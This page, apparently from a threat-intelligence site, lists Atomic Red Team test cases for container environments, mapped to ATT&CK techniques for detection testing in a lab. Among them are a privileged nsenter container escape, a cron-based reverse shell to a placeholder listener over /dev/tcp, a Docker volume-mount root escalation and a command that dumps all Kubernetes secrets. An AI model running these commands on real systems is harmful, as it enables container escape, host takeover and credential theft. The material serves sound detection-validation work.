Home/Atomic Tests
Atomic Red Team

Test-plan builder

Find runnable Atomic Red Team test cases for what you want to validate
Pick a technique, platform, or executor - or search by name - and get the executable test cases. Copy a command, run it on the listed platform in a lab, and confirm your detections fire. Pairs with the Detection Blind Spots on each actor page: see a gap, grab the test that exercises it.
filter by technique id in the URL: /atomic?technique=T1059
▸

Matching tests · containers

19
T1046 sh containers Network Service Discovery for Containers
Network Service Discovery
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1053.002 bash containers At - Schedule a job via kubectl in a Pod
At
Launches a short-lived Ubuntu pod, installs the at utility, starts the atd daemon, and submits a job with at. The pod is deleted after execution.
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "apt-get update -y >/dev/null 2>&1 && apt-get install -y at >/dev/null 2>&1 && (atd || /usr/sbin/atd) && echo '#{at_command}' | at #{time_spec} && at -l"
T1053.007 bash containers ListCronjobs
Container Orchestration Job
Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
kubectl get cronjobs -n #{namespace}
T1053.007 bash containers CreateCronjob
Container Orchestration Job
Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.
kubectl create -f src/cronjob.yaml -n #{namespace}
T1069.001 sh containers Permission Groups Discovery for Containers- Local Groups
Local Groups
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information.
docker build -t t1069 $PathtoAtomicsFolder/T1069.001/src/
docker run --name t1069_container --rm -d -t t1069
docker exec t1069_container ./test.sh
T1105 bash containers Curl Insecure Connection from a Pod
Ingress Tool Transfer
Launches an Ubuntu pod, installs curl, and executes curl with insecure flags (-k/--insecure) against a target URL. The pod is automatically deleted after execution.
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- curl -ksL #{remote_url}
T1136.001 bash containers Create a Linux user via kubectl in a Pod
Local Account
Launches a short-lived Alpine pod and creates a Linux user inside the pod. The pod is automatically deleted after execution.
kubectl run #{pod_name} --image=#{image_name} --restart=Never --rm -it -- sh -lc 'adduser -D #{username} && id #{username}'
T1195.002 bash containers, linux Simulate npm package installation on a Linux system
Compromise Software Supply Chain
Launches a short‑lived Kubernetes pod using the Node 18 image, initializes a minimal npm project in /tmp/test, and installs the specified npm package without audit/fund/package‑lock options, simulating potentially suspicious package retrieval (e.g., typosquatting/dependency confusion) from within a container. The pod is deleted after execution.
kubectl run #{pod_name} --image=#{image_name} --restart=Never --attach --rm -i -- bash -lc "mkdir -p /tmp/test && cd /tmp/test && npm init -y >/dev/null 2>&1 && echo '--- package.json before install ---' && cat package.json && npm install #{package_name} --no-audit --no-fund --no-package-lock && echo '--- package.json after install ---' && cat package.json"
T1552.007 bash containers List All Secrets
Container API
A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services or provide further access to the cluster. [More information about secrets](https://kubernetes.io/docs/concepts/configuration/secret/). This test will make a request to the Kubernetes api at the /api/v1/secrets endpoint requesting every secret stored within the cluster.
kubectl get secrets --all-namespaces
T1552.007 bash containers ListSecrets
Container API
A Kubernetes secret is an object that lets users store and manage sensitive information, such as passwords and connection strings in the cluster. Secrets can be consumed by reference in the pod configuration. Attackers who have permissions to retrieve the secrets from the API server (by using the pod service account, for example) can access sensitive information that might include credentials to various services.
kubectl get secrets -n #{namespace}
T1609 bash containers ExecIntoContainer
Container Administration Command
Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“kubectl exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “kubectl exec”.
kubectl create -f #{path} -n #{namespace}
# wait 3 seconds for the instance to come up
sleep 3
kubectl exec -n #{namespace} busybox -- #{command}
T1609 bash containers Docker Exec Into Container
Container Administration Command
Attackers who have permissions, can run malicious commands in containers in the cluster using exec command (“docker exec”). In this method, attackers can use legitimate images, such as an OS image (e.g., Ubuntu) as a backdoor container, and run their malicious code remotely by using “docker exec”. Kinsing (Golang-based malware) was executed with an Ubuntu container entry point that runs shell scripts.
docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ 
docker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh
docker exec -i t1609_container bash -c "cat /tmp/output.txt"
T1610 bash containers Deploy Docker container
Deploy Container
Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime. They can do this using docker create and docker start commands. Kinsing & Doki was exploited using this technique.
docker build -t t1610 $PathtoAtomicsFolder/T1610/src/
docker run --name t1610_container --rm -itd t1610 bash /tmp/script.sh
T1611 sh containers Deploy container using nsenter container escape
Escape to Host
In this escape kubectl is used to launch a new pod, with a container that has the host pids mapped into the container (hostPID:true). It uses the alpine linux container image. It runs with privilege on the host (privileged:true). When the container is launched the command nsenter --mount=/proc/1/ns/mnt -- /bin/bash is ran. Since the host processes have been mapped into the container, the container enters the host namespace, escaping the container. Additional Details: - https://twitter.com/mauilion/status/1129468485480751104 - https://securekubernetes.com/scenario_2_attack/
kubectl --context kind-atomic-cluster run atomic-nsenter-escape-pod --restart=Never -ti --rm --image alpine --overrides '{"spec":{"hostPID": true, "containers":[{"name":"1","image":"alpine","command":["nsenter","--mount=/proc/1/ns/mnt","--","/bin/bash"],"stdin": true,"tty":true,"securityContext":{"privileged":true}}]}}'
T1611 sh elevated containers Mount host filesystem to escape privileged Docker container
Escape to Host
This technique abuses privileged Docker containers to mount the host's filesystem and then create a cron job to launch a reverse shell as the host's superuser. The container running the test needs be privileged. It may take up to a minute for this to run due to how often crond triggers a job. Dev note: the echo to create cron_filename is broken up to prevent localized execution of hostname and id by Powershell.
if [ ! -d #{mount_point} ]; then mkdir #{mount_point} ; mount #{mount_device} #{mount_point}; fi
echo -n "* * * * * root /bin/bash -c '/bin/bash -c echo \"\"; echo \"hello from host! " > #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "(hostname) " >> #{mount_point}#{cron_path}/#{cron_filename}
echo -n "$" >> #{mount_point}#{cron_path}/#{cron_filename}
echo "(id)\" >& /dev/tcp/#{listen_address}/#{listen_port} 0>&1'" >> #{mount_point}#{cron_path}/#{cron_filename}
netcat -l -p #{listen_port} 2>&1
T1611 sh elevated containers Privilege Escalation via Docker Volume Mapping
Escape to Host
This test demonstrates privilege escalation by abusing Docker's volume mapping feature to gain access to the host file system. By mounting the root directory of the host into a Docker container, the attacker can use chroot to operate as root on the host system.
echo "Current user: #{username}"
sudo -u docker_user sh -c "sudo docker run -v /:/mnt --rm --name t1611_privesc -it alpine chroot /mnt id"
T1612 sh containers Build Image On Host
Build Image on Host
Adversaries may build a container image directly on a host to bypass defenses that monitor for the retrieval of malicious images from a public registry. An adversary may take advantage of that build API to build a custom image on the host that includes malware downloaded from their C2 server, and then they then may utilize Deploy Container using that custom image.
docker build -t t1612  $PathtoAtomicsFolder/T1612/src/
docker run --name t1612_container --rm -d -t t1612
docker exec t1612_container ./test.sh
T1613 sh containers Docker Container and Resource Discovery
Container and Resource Discovery
Adversaries may attempt to discover containers and other resources that are available within a containers environment.
docker build -t t1613 $PathtoAtomicsFolder/T1613/src/
docker run --name t1613_container --rm -d -t t1613
docker ps
docker stats --no-stream
docker inspect $(docker ps -l -q --filter ancestor=t1613)
T1613 sh containers Podman Container and Resource Discovery
Container and Resource Discovery
Adversaries may attempt to discover containers and other resources that are available within a containers environment.
podman build -t t1613 $PathtoAtomicsFolder/T1613/src/
podman run --name t1613_container --rm -d -t t1613
podman ps
podman stats --no-stream
podman inspect $(podman ps -l -q --filter ancestor=t1613)
Vulnerabilities
CISA KEV catalog
CWE weaknesses
CAPEC attack patterns
Package vulnerabilities
Threat intelligence
Threat actors
Tools & malware
ATT&CK techniques
IOCs
Detection & defense
Sigma rules
YARA rules
Atomic Red Team tests
D3FEND countermeasures
Compliance
NIST 800-53
ISO 27001:2022
SOC 2 TSC
PCI-DSS v4.0
CIS Controls v8.1
About
All capabilities
Live statistics
Data sources
Privacy policy
Terms of service
threatengine.sh  ·  Open-source threat intelligence platform  ·  100+ authoritative sources  ·  Every fact traces to its origin